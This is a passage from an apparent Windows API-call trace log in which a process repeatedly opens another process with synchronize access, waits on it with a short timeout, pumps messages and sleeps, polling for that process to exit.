(hObject=0x6b0) returned 1 [0247.036] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.036] Sleep (dwMilliseconds=0x1) [0247.051] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6bc [0247.051] WaitForSingleObject (hHandle=0x6bc, dwMilliseconds=0xa) returned 0x102 [0247.067] CloseHandle (hObject=0x6bc) returned 1 [0247.067] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.067] Sleep (dwMilliseconds=0x1) [0247.083] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6bc [0247.083] WaitForSingleObject (hHandle=0x6bc, dwMilliseconds=0xa) returned 0x102 [0247.098] CloseHandle (hObject=0x6bc) returned 1 [0247.098] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.098] Sleep (dwMilliseconds=0x1) [0247.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6bc [0247.114] WaitForSingleObject (hHandle=0x6bc, dwMilliseconds=0xa) returned 0x102 [0247.129] CloseHandle (hObject=0x6bc) returned 1 [0247.129] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.129] Sleep (dwMilliseconds=0x1) [0247.145] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6c4 [0247.145] WaitForSingleObject (hHandle=0x6c4, dwMilliseconds=0xa) returned 0x102 [0247.161] CloseHandle (hObject=0x6c4) returned 1 [0247.161] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.161] Sleep (dwMilliseconds=0x1) [0247.176] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6c4 [0247.176] WaitForSingleObject (hHandle=0x6c4, dwMilliseconds=0xa) returned 0x102 [0247.192] CloseHandle (hObject=0x6c4) returned 1 [0247.192] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.192] Sleep (dwMilliseconds=0x1) [0247.207] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6c4 [0247.208] WaitForSingleObject (hHandle=0x6c4, dwMilliseconds=0xa) returned 0x102 [0247.223] CloseHandle (hObject=0x6c4) returned 1 [0247.223] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.223] Sleep (dwMilliseconds=0x1) [0247.239] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6cc [0247.239] WaitForSingleObject (hHandle=0x6cc, dwMilliseconds=0xa) returned 0x102 [0247.254] CloseHandle (hObject=0x6cc) returned 1 [0247.255] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.255] Sleep (dwMilliseconds=0x1) [0247.270] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6cc [0247.270] WaitForSingleObject (hHandle=0x6cc, dwMilliseconds=0xa) returned 0x102 [0247.286] CloseHandle (hObject=0x6cc) returned 1 [0247.286] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.286] Sleep (dwMilliseconds=0x1) [0247.301] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6d0 [0247.301] WaitForSingleObject (hHandle=0x6d0, dwMilliseconds=0xa) returned 0x102 [0247.317] CloseHandle (hObject=0x6d0) returned 1 [0247.317] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.317] Sleep (dwMilliseconds=0x1) [0247.333] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6d4 [0247.333] WaitForSingleObject (hHandle=0x6d4, dwMilliseconds=0xa) returned 0x102 [0247.348] CloseHandle (hObject=0x6d4) returned 1 [0247.348] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.348] Sleep (dwMilliseconds=0x1) [0247.364] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6d4 [0247.364] WaitForSingleObject (hHandle=0x6d4, dwMilliseconds=0xa) returned 0x102 [0247.379] CloseHandle (hObject=0x6d4) returned 1 [0247.379] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.379] Sleep (dwMilliseconds=0x1) [0247.395] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6d4 [0247.395] WaitForSingleObject (hHandle=0x6d4, dwMilliseconds=0xa) returned 0x102 [0247.424] CloseHandle (hObject=0x6d4) returned 1 [0247.424] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.424] Sleep (dwMilliseconds=0x1) [0247.427] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6d8 [0247.427] WaitForSingleObject (hHandle=0x6d8, dwMilliseconds=0xa) returned 0x102 [0247.442] CloseHandle (hObject=0x6d8) returned 1 [0247.442] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.442] Sleep (dwMilliseconds=0x1) [0247.459] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6dc [0247.459] WaitForSingleObject (hHandle=0x6dc, dwMilliseconds=0xa) returned 0x102 [0247.473] CloseHandle (hObject=0x6dc) returned 1 [0247.473] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.473] Sleep (dwMilliseconds=0x1) [0247.505] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6dc [0247.505] WaitForSingleObject (hHandle=0x6dc, dwMilliseconds=0xa) returned 0x102 [0247.520] CloseHandle (hObject=0x6dc) returned 1 [0247.520] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.520] Sleep (dwMilliseconds=0x1) [0247.536] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6dc [0247.536] WaitForSingleObject (hHandle=0x6dc, dwMilliseconds=0xa) returned 0x102 [0247.551] CloseHandle (hObject=0x6dc) returned 1 [0247.551] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.551] Sleep (dwMilliseconds=0x1) [0247.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6dc [0247.570] WaitForSingleObject (hHandle=0x6dc, dwMilliseconds=0xa) returned 0x102 [0247.583] CloseHandle (hObject=0x6dc) returned 1 [0247.583] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.583] Sleep (dwMilliseconds=0x1) [0247.598] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6e0 [0247.598] WaitForSingleObject (hHandle=0x6e0, dwMilliseconds=0xa) returned 0x102 [0247.614] CloseHandle (hObject=0x6e0) returned 1 [0247.614] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.614] Sleep (dwMilliseconds=0x1) [0247.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6e4 [0247.637] WaitForSingleObject (hHandle=0x6e4, dwMilliseconds=0xa) returned 0x102 [0247.645] CloseHandle (hObject=0x6e4) returned 1 [0247.645] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.645] Sleep (dwMilliseconds=0x1) [0247.661] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6e4 [0247.661] WaitForSingleObject (hHandle=0x6e4, dwMilliseconds=0xa) returned 0x102 [0247.676] CloseHandle (hObject=0x6e4) returned 1 [0247.676] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.676] Sleep (dwMilliseconds=0x1) [0247.692] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.692] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.708] CloseHandle (hObject=0x6ec) returned 1 [0247.708] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.708] Sleep (dwMilliseconds=0x1) [0247.724] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.724] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.739] CloseHandle (hObject=0x6ec) returned 1 [0247.739] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.739] Sleep (dwMilliseconds=0x1) [0247.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.755] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.773] CloseHandle (hObject=0x6ec) returned 1 [0247.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.773] Sleep (dwMilliseconds=0x1) [0247.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.786] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.802] CloseHandle (hObject=0x6ec) returned 1 [0247.802] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.803] Sleep (dwMilliseconds=0x1) [0247.817] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.817] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.832] CloseHandle (hObject=0x6ec) returned 1 [0247.832] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.833] Sleep (dwMilliseconds=0x1) [0247.848] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.848] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.864] CloseHandle (hObject=0x6ec) returned 1 [0247.864] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.864] Sleep (dwMilliseconds=0x1) [0247.879] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.879] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.902] CloseHandle (hObject=0x6ec) returned 1 [0247.902] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.902] Sleep (dwMilliseconds=0x1) [0247.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ec [0247.912] WaitForSingleObject (hHandle=0x6ec, dwMilliseconds=0xa) returned 0x102 [0247.926] CloseHandle (hObject=0x6ec) returned 1 [0247.926] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.926] Sleep (dwMilliseconds=0x1) [0247.942] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6fc [0247.942] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0247.958] CloseHandle (hObject=0x6fc) returned 1 [0247.958] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.958] Sleep (dwMilliseconds=0x1) [0247.973] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x700 [0247.973] WaitForSingleObject (hHandle=0x700, dwMilliseconds=0xa) returned 0x102 [0247.989] CloseHandle (hObject=0x700) returned 1 [0247.989] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.989] Sleep (dwMilliseconds=0x1) [0248.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x700 [0248.005] WaitForSingleObject (hHandle=0x700, dwMilliseconds=0xa) returned 0x102 [0248.020] CloseHandle (hObject=0x700) returned 1 [0248.020] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.020] Sleep (dwMilliseconds=0x1) [0248.036] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x708 [0248.036] WaitForSingleObject (hHandle=0x708, dwMilliseconds=0xa) returned 0x102 [0248.054] CloseHandle (hObject=0x708) returned 1 [0248.054] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.054] Sleep (dwMilliseconds=0x1) [0248.069] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x708 [0248.069] WaitForSingleObject (hHandle=0x708, dwMilliseconds=0xa) returned 0x102 [0248.084] CloseHandle (hObject=0x708) returned 1 [0248.085] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.085] Sleep (dwMilliseconds=0x1) [0248.098] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x708 [0248.098] WaitForSingleObject (hHandle=0x708, dwMilliseconds=0xa) returned 0x102 [0248.114] CloseHandle (hObject=0x708) returned 1 [0248.114] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.114] Sleep (dwMilliseconds=0x1) [0248.132] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x714 [0248.132] WaitForSingleObject (hHandle=0x714, dwMilliseconds=0xa) returned 0x102 [0248.145] CloseHandle (hObject=0x714) returned 1 [0248.145] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.145] Sleep (dwMilliseconds=0x1) [0248.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x714 [0248.161] WaitForSingleObject (hHandle=0x714, dwMilliseconds=0xa) returned 0x102 [0248.179] CloseHandle (hObject=0x714) returned 1 [0248.179] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.179] Sleep (dwMilliseconds=0x1) [0248.192] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x714 [0248.192] WaitForSingleObject (hHandle=0x714, dwMilliseconds=0xa) returned 0x102 [0248.208] CloseHandle (hObject=0x714) returned 1 [0248.208] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.208] Sleep (dwMilliseconds=0x1) [0248.223] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.223] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.248] CloseHandle (hObject=0x71c) returned 1 [0248.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.248] Sleep (dwMilliseconds=0x1) [0248.254] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.254] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.270] CloseHandle (hObject=0x71c) returned 1 [0248.270] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.270] Sleep (dwMilliseconds=0x1) [0248.286] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.286] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.301] CloseHandle (hObject=0x71c) returned 1 [0248.301] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.302] Sleep (dwMilliseconds=0x1) [0248.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.317] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.333] CloseHandle (hObject=0x71c) returned 1 [0248.333] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.333] Sleep (dwMilliseconds=0x1) [0248.348] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.348] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.364] CloseHandle (hObject=0x71c) returned 1 [0248.364] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.364] Sleep (dwMilliseconds=0x1) [0248.380] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.380] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.395] CloseHandle (hObject=0x71c) returned 1 [0248.395] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.395] Sleep (dwMilliseconds=0x1) [0248.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.420] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.426] CloseHandle (hObject=0x71c) returned 1 [0248.426] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.426] Sleep (dwMilliseconds=0x1) [0248.442] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.442] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.458] CloseHandle (hObject=0x71c) returned 1 [0248.458] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.458] Sleep (dwMilliseconds=0x1) [0248.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.473] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.489] CloseHandle (hObject=0x71c) returned 1 [0248.489] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.489] Sleep (dwMilliseconds=0x1) [0248.504] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.504] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.520] CloseHandle (hObject=0x71c) returned 1 [0248.520] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.520] Sleep (dwMilliseconds=0x1) [0248.536] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.536] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.551] CloseHandle (hObject=0x71c) returned 1 [0248.552] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.552] Sleep (dwMilliseconds=0x1) [0248.567] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.567] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.583] CloseHandle (hObject=0x71c) returned 1 [0248.583] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.583] Sleep (dwMilliseconds=0x1) [0248.598] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.598] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.614] CloseHandle (hObject=0x71c) returned 1 [0248.614] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.614] Sleep (dwMilliseconds=0x1) [0248.629] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.629] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.650] CloseHandle (hObject=0x71c) returned 1 [0248.650] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.650] Sleep (dwMilliseconds=0x1) [0248.661] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.661] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.676] CloseHandle (hObject=0x71c) returned 1 [0248.676] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.676] Sleep (dwMilliseconds=0x1) [0248.692] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.692] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.708] CloseHandle (hObject=0x71c) returned 1 [0248.708] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.708] Sleep (dwMilliseconds=0x1) [0248.723] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.723] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.739] CloseHandle (hObject=0x71c) returned 1 [0248.739] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.739] Sleep (dwMilliseconds=0x1) [0248.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.754] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.770] CloseHandle (hObject=0x71c) returned 1 [0248.770] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.770] Sleep (dwMilliseconds=0x1) [0248.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.786] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.801] CloseHandle (hObject=0x71c) returned 1 [0248.801] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.802] Sleep (dwMilliseconds=0x1) [0248.817] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x71c [0248.817] WaitForSingleObject (hHandle=0x71c, dwMilliseconds=0xa) returned 0x102 [0248.833] CloseHandle (hObject=0x71c) returned 1 [0248.833] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.833] Sleep (dwMilliseconds=0x1) [0248.848] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x740 [0248.848] WaitForSingleObject (hHandle=0x740, dwMilliseconds=0xa) returned 0x102 [0248.864] CloseHandle (hObject=0x740) returned 1 [0248.864] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.864] Sleep 